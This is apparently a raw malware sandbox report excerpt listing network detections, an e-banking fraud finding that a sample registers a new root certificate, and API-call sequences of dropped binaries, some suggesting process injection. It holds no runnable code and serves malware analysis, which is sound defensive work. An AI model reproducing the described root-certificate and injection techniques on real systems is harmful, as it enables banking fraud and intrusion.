          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
          Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49731 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49733 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49735 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49737 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.4:49740 version: TLS 1.2

          E-Banking Fraud

          barindex
          Registers a new ROOT certificate
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BB684 CertCompareCertificateName,#357,#357,CertEnumCertificatesInStore,CertCompareCertificateName,CertComparePublicKeyInfo,memcmp,#357,CertEnumCertificatesInStore,#357,CertFreeCertificateContext,CertAddCertificateContextToStore,GetLastError,6_2_00007FF7F70BB684
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree,6_2_00007FF7F70F184C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71398B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext,6_2_00007FF7F71398B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F710342C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71393A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,6_2_00007FF7F71393A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709FC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357,6_2_00007FF7F709FC20
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708F9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree,6_2_00007FF7F708F9B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713A740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext,6_2_00007FF7F713A740
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C25E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey,6_2_00007FF7F70C25E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FE1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject,6_2_00007FF7F70FE1F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F0F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext,6_2_00007FF7F70F0F58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136EA8 NCryptImportKey,#360,6_2_00007FF7F7136EA8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100EF4 NCryptImportKey,#205,#359,#359,#357,6_2_00007FF7F7100EF4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EEA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash,6_2_00007FF7F70EEA7C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C29A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey,6_2_00007FF7F70C29A0
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E8114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,3_2_00007FF6BF3E8114
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E88C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,3_2_00007FF6BF3E88C0
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FBCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,3_2_00007FF6BF3FBCF0
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E7FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,3_2_00007FF6BF3E7FF8
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D3D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,3_2_00007FF6BF3D3D94
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E898C NtQueryInformationToken,3_2_00007FF6BF3E898C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF401538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,3_2_00007FF6BF401538
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E89E4 NtQueryInformationToken,NtQueryInformationToken,3_2_00007FF6BF3E89E4
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E8114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,5_2_00007FF6BF3E8114
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E88C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,5_2_00007FF6BF3E88C0
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3FBCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,5_2_00007FF6BF3FBCF0
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E7FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,5_2_00007FF6BF3E7FF8
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D3D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,5_2_00007FF6BF3D3D94
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E898C NtQueryInformationToken,5_2_00007FF6BF3E898C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF401538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,5_2_00007FF6BF401538
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E89E4 NtQueryInformationToken,NtQueryInformationToken,5_2_00007FF6BF3E89E4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F715C964 NtQuerySystemTime,RtlTimeToSecondsSince1970,6_2_00007FF7F715C964
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296DBB0 RtlDosPa,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,9_2_0296DBB0
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02967D00 NtWriteVirtualMemory,9_2_02967D00
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296DACC RtlDosPa,NtCreateFile,NtWriteFile,NtClose,9_2_0296DACC
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296DA44 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,9_2_0296DA44
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02968BB0 GetThreadContext,SetThreadContext,NtResumeThread,9_2_02968BB0
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02968BAE GetThreadContext,SetThreadContext,NtResumeThread,9_2_02968BAE
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296D9F0 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,9_2_0296D9F0
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E8114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,10_2_00007FF6BF3E8114
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E7FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,10_2_00007FF6BF3E7FF8
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E88C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,10_2_00007FF6BF3E88C0
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3FBCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,10_2_00007FF6BF3FBCF0
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D3D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,10_2_00007FF6BF3D3D94
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E898C NtQueryInformationToken,10_2_00007FF6BF3E898C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF401538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,10_2_00007FF6BF401538
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E89E4 NtQueryInformationToken,NtQueryInformationToken,10_2_00007FF6BF3E89E4
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D5240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,3_2_00007FF6BF3D5240
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E4224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,SetConsoleMode,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList,3_2_00007FF6BF3E4224
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E37D83_2_00007FF6BF3E37D8
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3DAA543_2_00007FF6BF3DAA54
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E0A6C3_2_00007FF6BF3E0A6C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E55543_2_00007FF6BF3E5554
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E42243_2_00007FF6BF3E4224
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D18843_2_00007FF6BF3D1884
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E78543_2_00007FF6BF3E7854
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FAC4C3_2_00007FF6BF3FAC4C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D2C483_2_00007FF6BF3D2C48
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D85103_2_00007FF6BF3D8510
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D7D303_2_00007FF6BF3D7D30
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E18D43_2_00007FF6BF3E18D4
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3DB0D83_2_00007FF6BF3DB0D8
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D3F903_2_00007FF6BF3D3F90
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D9B503_2_00007FF6BF3D9B50
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D5B703_2_00007FF6BF3D5B70
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D34103_2_00007FF6BF3D3410
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FAFBC3_2_00007FF6BF3FAFBC
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D6BE03_2_00007FF6BF3D6BE0
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3DE6803_2_00007FF6BF3DE680
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FEE883_2_00007FF6BF3FEE88
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D52403_2_00007FF6BF3D5240
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D76503_2_00007FF6BF3D7650
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3DD2503_2_00007FF6BF3DD250
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D9E503_2_00007FF6BF3D9E50
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3F7F003_2_00007FF6BF3F7F00
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D372C3_2_00007FF6BF3D372C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D6EE43_2_00007FF6BF3D6EE4
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF4015383_2_00007FF6BF401538
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D8DF83_2_00007FF6BF3D8DF8
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3DCE103_2_00007FF6BF3DCE10
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D22203_2_00007FF6BF3D2220
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FAA303_2_00007FF6BF3FAA30
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D4A303_2_00007FF6BF3D4A30
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D81D43_2_00007FF6BF3D81D4
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FD9D03_2_00007FF6BF3FD9D0
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E37D85_2_00007FF6BF3E37D8
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3DAA545_2_00007FF6BF3DAA54
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E0A6C5_2_00007FF6BF3E0A6C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E55545_2_00007FF6BF3E5554
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E42245_2_00007FF6BF3E4224
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D18845_2_00007FF6BF3D1884
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E78545_2_00007FF6BF3E7854
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3FAC4C5_2_00007FF6BF3FAC4C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D2C485_2_00007FF6BF3D2C48
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D85105_2_00007FF6BF3D8510
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D7D305_2_00007FF6BF3D7D30
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E18D45_2_00007FF6BF3E18D4
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3DB0D85_2_00007FF6BF3DB0D8
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D3F905_2_00007FF6BF3D3F90
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D9B505_2_00007FF6BF3D9B50
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D5B705_2_00007FF6BF3D5B70
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D34105_2_00007FF6BF3D3410
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3FAFBC5_2_00007FF6BF3FAFBC
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D6BE05_2_00007FF6BF3D6BE0
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3DE6805_2_00007FF6BF3DE680
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3FEE885_2_00007FF6BF3FEE88
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D52405_2_00007FF6BF3D5240
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D76505_2_00007FF6BF3D7650
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3DD2505_2_00007FF6BF3DD250
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D9E505_2_00007FF6BF3D9E50
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3F7F005_2_00007FF6BF3F7F00
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D372C5_2_00007FF6BF3D372C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D6EE45_2_00007FF6BF3D6EE4
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF4015385_2_00007FF6BF401538
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D8DF85_2_00007FF6BF3D8DF8
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3DCE105_2_00007FF6BF3DCE10
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D22205_2_00007FF6BF3D2220
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3FAA305_2_00007FF6BF3FAA30
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D4A305_2_00007FF6BF3D4A30
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D81D45_2_00007FF6BF3D81D4
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3FD9D05_2_00007FF6BF3FD9D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71738006_2_00007FF7F7173800
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714BC106_2_00007FF7F714BC10
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714C1206_2_00007FF7F714C120
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714F0206_2_00007FF7F714F020
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7072F386_2_00007FF7F7072F38
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714CCB86_2_00007FF7F714CCB8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70818306_2_00007FF7F7081830
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71138206_2_00007FF7F7113820
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F184C6_2_00007FF7F70F184C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FD8586_2_00007FF7F70FD858
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C78906_2_00007FF7F70C7890
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71338746_2_00007FF7F7133874
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B58CC6_2_00007FF7F70B58CC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E37606_2_00007FF7F70E3760
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B97906_2_00007FF7F70B9790
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707B7886_2_00007FF7F707B788
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A17D46_2_00007FF7F70A17D4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D77C86_2_00007FF7F70D77C8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CD7F06_2_00007FF7F70CD7F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707F8006_2_00007FF7F707F800
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71436386_2_00007FF7F7143638
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A56486_2_00007FF7F70A5648
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71176786_2_00007FF7F7117678
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71476786_2_00007FF7F7147678
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708D6606_2_00007FF7F708D660
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71356606_2_00007FF7F7135660
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B76B06_2_00007FF7F70B76B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711D6A06_2_00007FF7F711D6A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EF6D86_2_00007FF7F70EF6D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713D6DC6_2_00007FF7F713D6DC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DF5206_2_00007FF7F70DF520
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71395806_2_00007FF7F7139580
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709156C6_2_00007FF7F709156C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709B58C6_2_00007FF7F709B58C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C55F06_2_00007FF7F70C55F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706F6106_2_00007FF7F706F610
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E95FC6_2_00007FF7F70E95FC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70AF4346_2_00007FF7F70AF434
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70AD4406_2_00007FF7F70AD440
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70654386_2_00007FF7F7065438
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71194946_2_00007FF7F7119494
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710D4606_2_00007FF7F710D460
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C74786_2_00007FF7F70C7478
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70854A06_2_00007FF7F70854A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71594A86_2_00007FF7F71594A8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71314F06_2_00007FF7F71314F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F53186_2_00007FF7F70F5318
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70973406_2_00007FF7F7097340
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708B36C6_2_00007FF7F708B36C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71633D46_2_00007FF7F71633D4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71533D06_2_00007FF7F71533D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714B3AC6_2_00007FF7F714B3AC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DD4106_2_00007FF7F70DD410
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70673F86_2_00007FF7F70673F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71152906_2_00007FF7F7115290
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C92C46_2_00007FF7F70C92C4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BD2C06_2_00007FF7F70BD2C0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713D2B46_2_00007FF7F713D2B4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706F2C06_2_00007FF7F706F2C0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D92D86_2_00007FF7F70D92D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712511C6_2_00007FF7F712511C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EF1686_2_00007FF7F70EF168
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B11C86_2_00007FF7F70B11C8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707D1B86_2_00007FF7F707D1B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B31E06_2_00007FF7F70B31E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C80186_2_00007FF7F70C8018
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71320846_2_00007FF7F7132084
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70980806_2_00007FF7F7098080
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CC0B86_2_00007FF7F70CC0B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7061F806_2_00007FF7F7061F80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7119FF86_2_00007FF7F7119FF8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F1E2C6_2_00007FF7F70F1E2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EBE706_2_00007FF7F70EBE70
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EDEB06_2_00007FF7F70EDEB0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BDEA46_2_00007FF7F70BDEA4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B1ED06_2_00007FF7F70B1ED0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E9EE46_2_00007FF7F70E9EE4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F5F046_2_00007FF7F70F5F04
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709DD206_2_00007FF7F709DD20
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C1D706_2_00007FF7F70C1D70
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716DD846_2_00007FF7F716DD84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B9D6C6_2_00007FF7F70B9D6C
